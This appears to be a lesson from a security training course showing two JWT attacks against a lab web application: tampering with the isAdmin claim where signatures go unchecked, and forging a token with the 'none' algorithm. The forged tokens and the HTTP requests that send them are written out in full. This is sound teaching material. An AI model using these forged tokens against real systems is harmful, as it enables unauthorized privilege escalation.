Attacking Signature Verification

---

As discussed in the previous section, the signature protects data within the JWT's payload. We cannot manipulate any data within the JWT's payload without invalidating the signature. However, we will learn about two misconfigurations in web applications that lead to improper signature verification, enabling us to manipulate the data within a JWT's payload.

While the attacks discussed here are not very common in the real world, they may still occur when a web application is severely misconfigured.

---

Missing Signature Verification

Before jumping into the attack, let us look at our target web application. Starting our target and accessing the provided URL, we are greeted with a simple login page:

We can use the provided credentials to log in to the web application, which displays an almost empty page:

Due to the message You are not an admin!, we can infer that there are users with different privilege levels. Let us investigate if we can find a way to escalate our privileges to an administrator to see if this will display more information to us.

As we can see in the response to a successful login request, the web application uses a JWT as our session cookie to identify our user:

The response contains the following JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZmFsc2UsImV4cCI6MTcxMTE4NjA0NH0.ecpzHiyA5I1-KYTTF251bUiUM-tNnrIMwvHeSZf0eB0

To analyze the contents of a JWT, we can use web services such as jwt.io or CyberChef. Pasting the JWT into jwt.io, we can see the following payload:

{
  "user": "htb-stdnt",
  "isAdmin": false,
  "exp": 1711186044
}

The JWT contains our username, an isAdmin claim, and an expiry timestamp. Since our goal is to escalate our privileges to an administrator, the isAdmin claim seems to be an obvious way to achieve that goal. We can simply manipulate that parameter in the payload, and jwt.io will automatically re-encode the JWT on the left side. However, as discussed previously, this will invalidate the JWT's signature.

This is where our first attack comes into play. Before accepting a JWT, the web application must verify the JWT's signature to ensure it has not been tampered with. If the web application is misconfigured to accept JWTs without verifying their signature, we can manipulate our JWT to escalate privileges.

To achieve this, let us change the isAdmin parameter's value to true in jwt.io:

We can then pass the manipulated JWT in the session cookie in the request to /home:

GET /home HTTP/1.1
Host: 172.17.0.2
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6dHJ1ZSwiZXhwIjoxNzExMTg2MDQ0fQ.S85PjpnL6BNhBCWk6OYDHc_XjfWogMJV8wq5pKJ6Tv4

Since the web application does not verify the JWT's signature, it will grant us admin access:

---

None Algorithm Attack

Another technique of making the web application accept a manipulated JWT is utilizing the none algorithm. As discussed in the previous section, this algorithm implies that the JWT does not contain a signature, and the web application should accept it without computing one. Due to the lack of a signature, the web application will accept a token without signature verification if misconfigured.

To forge a JWT with the none algorithm, we must set the alg-claim in the JWT's header to none. We can achieve this using CyberChef by selecting the JWT Sign operation and setting the Signing algorithm to None. We can then specify the same JWT payload we have used before, and CyberChef will forge a JWT for us:

{
  "user": "htb-stdnt",
  "isAdmin": true,
  "exp": 1711186044
}

Just like before, we can then pass the manipulated JWT in the session cookie in the request to /home:

GET /home HTTP/1.1
Host: 172.17.0.2
Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6dHJ1ZSwiZXhwIjoxNzExMTg2MDQ0LCJpYXQiOjE3MTExODY0NTJ9.

Since the web application accepts the JWT with the none algorithm, it will grant us admin access: